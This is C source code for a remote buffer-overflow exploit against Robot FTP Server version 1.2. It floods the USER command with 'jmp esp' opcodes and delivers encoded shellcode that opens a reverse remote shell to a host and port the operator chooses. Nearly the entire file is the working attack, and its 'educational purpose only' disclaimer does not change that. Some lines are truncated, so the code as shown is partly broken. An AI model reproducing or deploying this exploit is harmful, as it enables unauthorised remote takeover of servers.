/**************************************************************************************/ /* [Crpt] Robot FTP Server v1/2 remote exploit by kralor [Crpt] */ /* - - - - - - - - - - - - - - - - - - - - - */ /* only tested on win2k pro fr sp3. */ /* It worked like 3 4 times then memory at 0x026EEE80 wasn't mapped. Need to play */ /* with CONN_NUM and FILL_TIMES. it misses a function to fix the RET_ADDR depending */ /* on how many connections were successfull. The shellcode is all reconstructed at */ /* esi that's why we need to jmp over some bytes and split it in 4 parts (by the way */ /* we could directly fill the memory with 'jmp esi' opcodes 'cause after jumping into */ /* esp we jump esi [some bytes are overwritten]). I don't think it will work without */ /* working on it and doing a better analyze. you know the words, */ /* [EDUCATIONAL PURPOSE ONLY] */ /*....................................................................................*/ /* informations: kralor[at]coromputer.net,www.coromputer.net,irc undernet #coromputer */ /**************************************************************************************/ #include #include #include #include #pragma comment (lib,"ws2_32") #define PORT 21 #define RET_POS 1933 #define SIZE 2010 #define CONN_NUM 20 #define RET_ADDR 0x026EEE80 // jmp esp filled doing connections and sending 'jmp esp' opcodes #define FILL_TIMES 4 // sequence of 4 opcodes #define HOP 0xd4 // host opcode #define POP 0xd7 // port opcode int cnx(char *host, int port) { int sock; struct sockaddr_in yeah; struct hostent *she; sock=socket(AF_INET,SOCK_STREAM,0); if(!sock) { printf("error: unable to create socket\r\n"); return 0; } yeah.sin_family=AF_INET; yeah.sin_addr.s_addr=inet_addr(host); yeah.sin_port=htons((u_short)port); if((she=gethostbyname(host))!=NULL) { memcpy((char *)&yeah.sin_addr,she->h_addr,she->h_length); } else { if((yeah.sin_addr.s_addr=inet_addr(host))==INADDR_NONE) { printf("error: cannot resolve host\r\n"); return 0; } } if(connect(sock,(struct sockaddr*)&yeah,sizeof(yeah))!=0) { printf("\r\nerror: connection refused\r\n"); exit(1); } return sock; } int fill_with_jmp_esp(char *host,int port,unsigned int how_many) { int sock,sock_tmp; unsigned int i,j; char useme[SIZE+1000]="USER "; char buffer[256]; for(i=0;i \r\n",prog); exit(0); } int main(int argc, char *argv[]) { WSADATA wsaData; int sock; char buffer[1024]={0}; char useme[SIZE]={0}; unsigned long host,port; unsigned int i,j; char shellc0de[] = /* sizeof(shellc0de+xorer) == 333 bytes */ /* classic xorer */ "\x90" "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66" "\xb9\x73\x01\x80\x33\x95\x43\xe2\xfa" /* reverse remote shell */ "\x14\x79\x05\x94\x95\x95\x1e\x61\xc0\xc3\xf1\x34\xa5\x95\x95\x95" "\x1e\xd5\x99\x1e\xe5\x89\x38\x1e\xfd\x9d\x7e\x95\x1e\x50\xcb\xc8" "\x1c\x93\x6a\xa3\xfd\x1b\xdb\x9b\x79\x7d\x50\x95\x95\x95\xfd\xa6" "\xa7\x95\x95\xfd\xe2\xe6\xa7\xca\xc1\x6a\x45\x1e\x6d\xc2\xfd\x4c" "\x9c\x60\x38\x7d\x3e\x95\x95\x95\xa6\x5c\xc4\xc4\xc4\xc4\xd4\xc4" "\xd4\xc4\x6a\x45\x1c\xd3\xb1\xc2\xfd\x79\x6c\x3f\xf5\x7d\x04\x95" "\x95\x95\xfd\xd4\xd4\xd4\xd4\xfd\xd7\xd7\xd7\xd7\x1e\x59\xff\x85" "\xc4\x6a\xe3\xb1\x6a\x45\xfd\xf6\xf8\xf1\x95\x1c\xf3\xa5\x6a\xa3" "\xfd\xe7\x6b\x26\x83\x7d\xf4\x95\x95\x95\x1c\xd3\x8b\x16\x79\xc1" "\x18\xa9\xb1\xa6\x55\xa6\x5c\x16\x54\x80\x3e\x77\x68\x53\xd1\xb1" "\x85\xd1\x6b\xd1\xb1\xa8\x6b\xd1\xb1\xa9\x1e\xd3\xb1\x1c\xd1\xb1" "\xdd\x1c" "\xd1\xb1\xd9\x1c\xd1\xb1\xc5\x18\xd1\xb1\x85\xc1\xc5\xc4" "\xc4\xc4\xff\x94\xc4\xc4\x6a\xe3\xa5\xc4\x6a\xc3\x8b\x6a\xa3\xfd" "\x7a\x5b\x75\xf5\x7d\x97\x95\x95\x95\x6a\x45\xc6\xc0\xc3\xc2\x1e" "\xf9\xb1\x8d\x1e\xd0\xa9\x1e\xc1\x90\xed\x96\x40\x1e\xdf\x8d\x1e" "\xcf\xb5\x96\x48\x76\xa7\xdc\x1e\xa1\x1e\x96\x60\xa6\x6a\x69\xa6" "\x55\x39\xaf\x51\xe1\x92\x54\x5a\x98\x96\x6d\x7e\x67\xae\xe9\xb1" "\x81\xe0\x74\x1e\xcf\xb1\x96\x48\xf3\x1e\x99\xde\x1e\xcf\x89\x96" "\x48\x1e\x91\x1e\x96\x50\x7e\x97\xa6\x55\x1e\x40\xca\xcb\xc8\xce" "\x57\x91\x95"; banner(); if(argc!=4) syntax(argv[0]); host=inet_addr(argv[2])^0x95959595; port=atoi(argv[3]); if(port<=0||port>65535) { printf("error: must be between 1 and 65535\r\n"); return -1; } port=htons((unsigned short)port); port=port<<16; port+=0x0002; port=port^0x95959595; for(i=0;i1) { printf("\r\n[+] Filling memory with last 'jmp esp' opcodes ...0/%d\r",i); i=fill_with_jmp_esp(argv[1],PORT,i>3?i-2:1); printf("[+] Filling memory with last 'jmp esp' opcodes ...%d/%d\r",i,i); if(i==1||i==0) { if(i==0) { printf("\r\n[i] No Connection established, leaving ...OK\r\n"); return -1; } printf("\r\n[i] Only filled at 1 place, 99.99%% chances for successfull exploitation! 2\r\n"); printf("[i] Trying to exploit anyway ...OK"); } } printf("\r\n[+] Connecting to %-30s ...",argv[1]); sock=cnx(argv[1],PORT); if(!sock) { printf("ERROR\r\n"); return -1; } printf("Done\r\n"); printf("[+] Sending magic strings ..."); strcpy(useme,"USER "); /* end shellc0de */ memset(&useme[5],0x90,108); memcpy(&useme[5],&shellc0de[0x8b+56+38],100); /*-end-shellc0de-*/ strcat(&useme[108],"\r\n"); send(sock,useme,sizeof(useme),0); Sleep(250); strcpy(useme,"USER "); memset(&useme[5],0x90,SIZE-7); // SIZE-7 /* middle shellc0de */ memcpy(&useme[1750],&shellc0de[0x8b+56],38); memcpy(&useme[1788],"\x05\x05\x7e\x94",4); // jmp $+1 (0xeb 0x01) /*-middle-shellc0de-*/ /* begin shellc0de */ memcpy(&useme[RET_POS-0x8d],shellc0de,0x8b); memcpy(&useme[RET_POS-2],"\x7e\x93",2); // jmp $+6 (0xeb 0x06) /*-begin-shellc0de-*/ *(unsigned long*)&useme[RET_POS] = RET_ADDR; // eip pointing to jmp esp in exe memory memcpy(&useme[RET_POS+4],"\xff\xe6",2); // jmp esi /* jmped over shellc0de */ memcpy(&useme[RET_POS+6],&shellc0de[0x8b],64); memcpy(&useme[RET_POS+70],"\x05\x05\x05\x7e\x93",5); // jmp $+06 (0xeb 0x06) /*-jmped-over-shellc0de-*/ strcat(useme,"\r\n"); send(sock,"[Crpt] forever\r\n",16,0); send(sock,useme,sizeof(useme),0); memset(buffer,0,sizeof(buffer)); Sleep(250); printf("Done\r\n"); closesocket(sock); return 0; }